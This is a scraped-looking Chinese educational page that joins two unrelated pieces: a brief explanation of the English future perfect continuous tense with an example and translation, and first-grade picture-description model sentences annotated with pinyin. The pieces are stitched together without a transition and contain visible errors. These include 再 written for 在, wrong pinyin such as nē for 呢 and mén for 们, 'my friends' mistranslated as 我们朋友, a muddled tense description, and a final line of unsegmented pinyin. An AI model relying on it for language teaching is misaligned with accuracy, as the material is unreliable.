表示：现在至将来某一个时间点之前，行为可能已经发生。 （将来时间之前，行为不包含当前与将来时间点。） 公式：I will have been doing 例子：I will have been making money for two hours when I meet my friends tomorrow evening 翻译：在明天晚上见我们朋友之前，我已经挣2小时钱了。表示：将来某一时间点之前，行为已经发生并持续进行。
一年级看图写一句话
都dōu 有yǒu 谁shuí，在zài 做zuò 什shén 么me ，会huì 说shuō什shén 么me ？ 奶nǎi 奶nǎi 再zài 给gěi 我wǒ 洗xǐ 衣yī 服fú，好hǎo 辛xīn 苦kǔ 啊ā！我wǒ 给gěi 奶nǎi 奶nǎi 倒dǎo 了le 一yī 杯bēi 水shuǐ：“奶nǎi 奶nǎi ，您nín 辛xīn 苦kǔ 了le ！” 都dōu 有yǒu 谁shuí，在zài 做zuò 什shén 么me 。 星xīng 期qī 天tiān ，爸ba 爸ba 带dài 我wǒ 去qù 小xiǎo 河hé 边biān 画huà 画huà。河hé 里lǐ 还hái 有yǒu 好hǎo 多duō 小xiǎo 鱼yú 呢nē ！ 有yǒu 谁shuí，发fā 生shēng 了le 什shén 么me ，怎zěn 么me 做zuò 的de 。 放fàng 学xué 了le ，下xià 起qǐ 了le 小xiǎo 雨yǔ。小xiǎo 刚gāng 忘wàng 记jì 带dài 雨yǔ 伞sǎn 了le ，就jiù 和hé 小xiǎo 梅méi 一yī 起qǐ 打dǎ 着zhe 伞sǎn 回huí家jiā
什shén 么me 时shí 间jiān ，有yǒu 谁shuí，他tā 们mén 在zài 做zuò 什shén 么me ？ 早zǎo 上shàng ，小xiǎo 马mǎ 和hé 小xiǎo 兰lán 来lái 到dào 公gōng 园yuán ，在zài 大dà 树shù 下xià 面miàn 做zuò 起qǐ 了le 早zǎo 操cāo ！ 都dōu 有yǒu 谁shuí ，在zài 做zuò什shén 么me ，他tā 们mén 说shuō 了le 什shén 么me 。 小xiǎo 熊xióng 准zhǔn 备bèi 过guò 桥qiáo ，他tā 很hěn 害hài 怕pà ，小xiǎo 鱼yú 儿ér 鼓gǔ 励lì 它tā：“放fàng 心xīn ，大dà 胆dǎn 走zǒu ！”小xiǎo 鸟niǎo 也yě说shuō：“别bié 害hài 怕pà。”小xiǎo 熊xióng 终zhōng 于yú 走zǒu 过guò 了le 小xiǎo 桥qiáo 。 什shén 么me 时shí 间jiān ，有yǒu 谁shuí，他tā 们mén 在zài 做zuò 什shén 么me ？ zhōng wǔdàtài yáng sǎi déhǎo rèlǎo yéyézài dàshùxiàyōu xián dìchéng liáng